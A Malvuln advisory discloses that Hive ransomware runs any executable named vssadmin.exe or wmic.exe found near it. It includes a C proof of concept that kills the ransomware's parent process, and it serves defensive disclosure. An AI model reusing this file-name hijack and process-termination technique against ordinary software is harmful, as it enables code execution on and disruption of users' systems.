Trojan-Ransom.Win32.Hive.bv MVID-2022-0636 Code Execution

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/44aba241dd3f0d156c6ed82a0ab3a9e1.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan-Ransom.Win32.Hive.bv  
Vulnerability: Arbitrary Code Execution  
Description: Hive Ransomware will load and execute arbitrary .EXE PE files if a third-party adversary or defender uses the vulnerable naming convention of "vssadmin.exe" or "wmic.exe" and the PE file is placed in the vacinity of Hive Ransomware when it is executed.  
Family: Hive  
Type: PE64  
MD5: 44aba241dd3f0d156c6ed82a0ab3a9e1  
Vuln ID: MVID-2022-0636  
Disclosure: 09/06/2022  
  
  
Exploit/PoC:  
1) Compile to "vssadmin.exe"  
2) Supplying Hive CL credentials e.g. -u <login>:<password>  
  
"vssadmin.c"  
  
#include "windows.h"  
#include "tlhelp32.h"  
#include "psapi.h"  
  
//Compiled x64  
//By Malvuln - 2022  
//Purpose: RCE PWN Hive Ransomware  
//MD5: 44aba241dd3f0d156c6ed82a0ab3a9e1  
/** DISCLAIMER:  
Author is NOT responsible for any damages whatsoever by using this software or improper malware  
handling. By using this code you assume and accept all risk implied or otherwise.  
**/  
  
DWORD getParentPID(DWORD pid){  
HANDLE h32 = NULL;  
PROCESSENTRY32 pe = {0};  
DWORD ppid = 0;  
pe.dwSize = sizeof(PROCESSENTRY32);  
h32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  
if(Process32First(h32, &pe)){  
do{  
if (pe.th32ProcessID == pid){  
ppid = pe.th32ParentProcessID;  
break;  
}  
} while( Process32Next(h32, &pe));  
}  
CloseHandle(h32);  
return (ppid);  
}  
  
int main(void){  
DWORD ppid = getParentPID(GetCurrentProcessId());  
HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, ppid);  
if (NULL != handle) {   
TerminateProcess(handle, 0);  
CloseHandle(handle);  
MessageBox(NULL, "Not the vssadmin.exe you wanted :(\nHive Ransomware PWNED!\n\nBy Malvuln", "Code Execution PoC\n", MB_OK);  
}  
return 0;  
}  
  
  
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